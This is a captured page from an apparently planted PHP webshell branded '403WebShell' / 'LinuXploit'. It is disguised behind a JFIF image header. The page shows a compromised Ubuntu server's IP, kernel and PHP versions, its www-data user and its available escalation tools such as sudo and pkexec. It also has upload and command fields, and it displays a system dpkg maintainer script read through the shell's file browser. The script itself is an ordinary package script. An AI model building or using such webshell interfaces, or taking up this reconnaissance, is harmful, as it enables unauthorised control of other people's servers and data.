????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/dpkg/info_silent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info_silent/module-init-tools.preinst
#!/bin/sh -e

dpkg-maintscript-helper rm_conffile /etc/init.d/module-init-tools 3.16-1 -- "$@"
dpkg-maintscript-helper rm_conffile /etc/modprobe.d/aliases.conf 3.16-1 -- "$@"
dpkg-maintscript-helper rm_conffile /etc/init/module-init-tools.conf 9-2ubuntu5 -- "$@"

rm_conffile() {
  mv_conffile "$1" "$1.dpkg-bak"
}

mv_conffile() {
  local package='module-init-tools'
  local name="$1"
  local newname="$2"

  [ -e "$name" ] || return 0

  local md5="$(md5sum $name | sed -e 's/ .*//')"
  oldmd5="$(dpkg-query -W -f='${Conffiles}' $package | \
    sed -n -e "\' $name ' { s/ obsolete$//; s/.* //; p }")"

  if [ "$md5" = "$oldmd5" ]; then
    rm -f "$name"
  else
    mv "$name" "$newname"
  fi
}

upgrade_quirks() {
  # $2 is non-empty when installing from the "config-files" state
  [ "$2" ] || return 0

  if dpkg --compare-versions $2 lt 3.10-3; then
  if dpkg --compare-versions $2 lt 3.3-pre11-4; then

  echo 'Upgrading from packages older than 3.3-pre11-4 is not supported.'
  echo 'Please purge module-init-tools before installing this package.'
  echo '(But remember to keep a copy of /etc/modules!)'
  exit 1

  fi # lt 3.1-pre11-1

  for file in i386 x86_64 mips s390 parisc sparc powerpc.apus \
       powerpc.generic powerpc.pmac m68k.amiga m68k.atari m68k.generic; do
    rm_conffile /etc/modprobe.d/arch/$file
  done
  rmdir /etc/modprobe.d/arch/ 2> /dev/null || true
  if [ -L /etc/modprobe.d/arch-aliases \
      -a ! -e /etc/modprobe.d/arch-aliases ]; then
    rm /etc/modprobe.d/arch-aliases
  fi

  mv_conffile /etc/modprobe.d/aliases /etc/modprobe.d/aliases.conf

  fi # lt 3.10-3
}

case "$1" in
  install|upgrade) upgrade_quirks "$@" ;;
esac



exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit